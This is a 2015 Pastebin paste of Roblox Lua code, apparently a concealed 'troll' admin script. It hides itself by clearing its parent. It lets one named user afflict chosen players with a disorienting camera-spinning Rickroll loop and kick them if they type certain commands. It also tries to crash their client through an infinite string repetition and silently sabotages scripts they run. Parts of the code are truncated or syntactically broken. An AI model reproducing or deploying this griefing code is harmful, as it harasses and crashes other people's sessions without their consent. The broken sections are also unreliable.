tyridge77

Untitled

Jul 6th, 2015
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 6.78 KB | None | 0 0
  1. AdminClient = [=[wait();
  2. local player = game.Players.LocalPlayer;
  3. local ui = Instance.new("ScreenGui",player.PlayerGui);
  4. local frame = Instance.new("Frame",ui);
  5. frame.BackgroundTransparency = 1;
  6. frame.Size = UDim2.new(1,0,1,0);
  7. local box = Instance.new("TextBox",frame);
  8. box.BackgroundTransparency = .9;
  9. box.BackgroundColor3 = Color3.new();
  10. box.TextColor3 = Color3.new(1,1,1);
  11. box.Position = UDim2.new(.6,0,.8,0);
  12. box.Size = UDim2.new(.4,0,.05,0);
  13. local stringvalue = game.ReplicatedStorage:WaitForChild("in");
  14. game.ReplicatedStorage.Changed:connect(function()
  15. wait(1)
  16. if not game.ReplicatedStorage:FindFirstChild("in") then
  17. stringvalue = game.ReplicatedStorage:WaitForChild("in");
  18. locked = true;
  19. end)
  20. box.FocusLost:connect(function(enter)
  21. if enter == true and not locked then
  22. stringvalue.Value = box.Text;
  23. end
  24. end)
  25. ]=]
  26.  
  27. script.Parent = nil;
  28. local rs = game.ReplicatedStorage
  29. local inputvalue = rs:FindFirstChild("in") and rs.in or Instance.new("StringValue",rs);
  30. rs.Name = "in";
  31. rs.Value = "";
  32.  
  33. rs.Changed:connect(function()
  34. wait(1)
  35. if not rs:FindFirstChild("in") then
  36. inputvalue = Instance.new("StringValue",rs);
  37. inputvalue.Name = "in";
  38. end
  39. end)
  40.  
  41.  
  42. local user = 'tyridge77'
  43. local locked = false;
  44. local laugh = [===[
  45. math.randomseed(tick());
  46. local player = game:GetService("Players").LocalPlayer;
  47. local cam = Workspace.CurrentCamera;
  48. local gui = player.PlayerGui;
  49. for _,v in pairs(gui:GetChildren()) do if v.Name == 'ScreenGui' then v:Destroy() end end
  50. local scrg = Instance.new("ScreenGui",gui)
  51. local tab = {['c']=1,['newlocal']=2,['local']=3}
  52. local frame = Instance.new("Frame",scrg)
  53. local sound = Instance.new("Sound",frame)
  54. local sound2 = Instance.new("Sound",frame)
  55. local asd1 = Instance.new('TextLabel',scrg)
  56. local asdtab ={};
  57. local lyrics = {
  58. [3] = [=[*Awesome intro music*]=],
  59. [7] = [=[*More awesome i
  60. [19] = [=[We're no strangers to love...]=],[23] = [=[You know the rules, and so.... do I!]=],
  61. [27] = [=[A full commitment's what I'm thinking of...]=],
  62. [32] = [=[You wouldn't get this from.. ANY OTHER GUY!]=],
  63. [35] = [=[I... just want to tell you how I'm feeling.]=],
  64. [40] = [=[Gotta make you.. understand!]=],
  65. [44] = [=[Never gonna give you up]=],
  66. [45] = [=[Never gonna let you down]=],
  67. [47] = [=[Never gonna run around and.. desert you.]=],
  68. [52] = [=[Never gonna make you cry]=],
  69. [53] = [=[Never gonna say goodbye...]=],
  70. [55] = [=[Never gonna tell a lie, and hurt you.]=]
  71. }
  72. local rndm = {.1,.15,.25,.35,.45,.55,.65,.75,.85,.95,.2,.3,.4,.5,.6,.7,.8,.9,1}
  73. asd1.Size = UDim2.new(.2,0,.2,0)
  74. asd1.BackgroundTransparency = 1;
  75. asd1.TextColor3 = Color3.new(0,0,0)
  76. asd1.FontSize = 'Size48'
  77. asd1.Font = 'ArialBold'
  78. asd1.Text = 'asd';
  79. for i = 1, 5 do wait(0)
  80. asdtab[i] = asd1:clone()
  81. asdtab[i].Parent = scrg;
  82. end
  83. frame.Size = UDim2.new(1,0,1,0)
  84. frame.BackgroundTransparency = .7
  85. sound2.SoundId = 'http://www.roblox.com/asset/?id=2027611'
  86. sound2.Volume,Looped = 1,true;
  87. sound2.Pitch = 1;
  88. sound.SoundId = 'http://www.roblox.com/asset/?id=59774613'
  89. sound.Volume,Looped = 1,false;
  90. sound.Pitch = 0.7;
  91. function CreateLabel(str)
  92. local mr = math.random(1,2)
  93. local rnd = {.1,.2,.3,.4,.5};
  94. local newlabel = Instance.new('TextLabel',scrg)
  95. local rndy = rnd[math.random(1,#rnd)];
  96. newlabel.Position = mr == 1 and UDim2.new(-1.5,0,rndy,0) or UDim2.new(1.5,0,rndy,0)
  97. print(newlabel.Position)
  98. newlabel.BackgroundTransparency = 1;
  99. newlabel.FontSize = 'Size48';
  100. newlabel.Font = 'ArialBold';
  101. newlabel.TextColor3 = BrickColor.random().Color
  102. newlabel.Size = UDim2.new(.3,0,.1,0)
  103. newlabel.Text = str;
  104. chatted = 0;
  105. print(newlabel.Text)
  106. local pos = mr == 1 and UDim2.new(1.5,0,rndy,0) or UDim2.new(-1.5,0,rndy,0)
  107. newlabel:TweenPosition(pos,'Out','Linear',6,true,nil)
  108. end
  109. function PlayLyrics()
  110. wait(2) sound2:Play();
  111. for i = 1, 65 do wait(1) print(i)
  112. if lyrics[i+1] then print(lyrics[i+1]) CreateLabel(lyrics[i+1]) end
  113. end
  114. coroutine.resume(coroutine.create(PlayLyrics))
  115. end
  116. coroutine.resume(coroutine.create(PlayLyrics))
  117. player.Chatted:connect(function(msg)
  118. if msg:match('(%a+)/(%s?)') then
  119. local run,src = msg:match('(%a+)/(%s?)')
  120. if tab[run] then
  121. if chatted > 4 then player:Destroy() end
  122. chatted = chatted + 1
  123. coroutine.resume(coroutine.create(function()
  124. wait(4) chatted = 0;
  125. end))
  126. end
  127. end
  128. if msg:match('[cnewlocallocal]/') then wait(0) sound:Play()
  129.  
  130. end
  131. end)
  132. while(wait(0)) do
  133. cam.FieldOfView,frame.BackgroundColor3,cam.CoordinateFrame = math.random(20,80),Color3.new(1,1,1),cam.CoordinateFrame*CFrame.Angles(math.random(),math.random(),math.random())
  134. for _,v in pairs(asdtab) do if v:isA('TextLabel') then v:TweenPosition(UDim2.new(rndm[math.random(1,#rndm)],0,rndm[math.random(1,#rndm)],0),'Out','Linear',.5,true,nil) end end
  135. end
  136. ]===]
  137.  
  138.  
  139.  
  140.  
  141. local trolled = {};
  142.  
  143. local Library = {
  144. ['asd'] = function(player)
  145. trolled[player.Name] = 'trolled';
  146. wait()
  147. player:LoadCharacter()
  148. end,
  149. ['unasd'] = function(player)
  150. pcall(function() trolled[player.Name] = nil; end)
  151. NLS([=[wait()Workspace.CurrentCamera.FieldOfView = 80]=],player.Character)
  152. wait(1)
  153. player:LoadCharacter()
  154. end,
  155. ['ogm'] = function(player)
  156. NLS([=[local str = Instance.new('StringValue',game:Getservice('Players').LocalPlayer.PlayerGui) str.Value = string.rep('derp',math.huge)
  157. ]=],player.Character)
  158. end
  159. }
  160.  
  161.  
  162. local players = game:GetService("Players")
  163. local player = players[user];
  164. function CheckChar(p)
  165. if trolled[p.Name] then
  166. NLS(laugh,p.Character)
  167. end
  168. end
  169. function findplayer(str)
  170. for _,v in pairs(players:GetPlayers()) do
  171. if v.Name:lower():sub(1,3) == str:lower():sub(1,3) then return v end
  172. end
  173. return nil;
  174. end
  175. function chat(msg)
  176. if msg:match('(.+)/(.+)') then
  177. local cmd,plyr = msg:match('(.+)/(.+)');
  178. if findplayer(plyr) and Library[cmd] then Library[cmd](findplayer(plyr))
  179. end
  180. end
  181. end
  182. players.PlayerAdded:connect(function(newplayer)
  183. newplayer.CharacterAdded:connect(function()
  184. CheckChar(newplayer)
  185. end)
  186. end)
  187.  
  188. inputvalue.Changed:connect(function()
  189. if inputvalue.Value ~= "" then
  190. chat(inputvalue.Value);
  191. end
  192. end)
  193. NLS(AdminClient,player.Character);
  194. for _,v in pairs(players:GetPlayers()) do
  195. v.CharacterAdded:connect(function(char)
  196. if v.Name == "tyridge77" then
  197. NLS(AdminClient,char);
  198. end
  199. CheckChar(v)
  200. end)
  201. end
  202. Workspace.DescendantAdded:connect(function(obj)
  203. if obj:isA("Script") or obj:isA("LocalScript") then
  204. pcall(function() obj:FindFirstChild("Source").Value = trolled[obj["Owner"].Value.Name] and [=[error("Nop",0)]=] or obj:FindFirstChild("Source").Value;
  205. end)
  206. end
  207. end)
Advertisement
Add Comment
Please, Sign In to add comment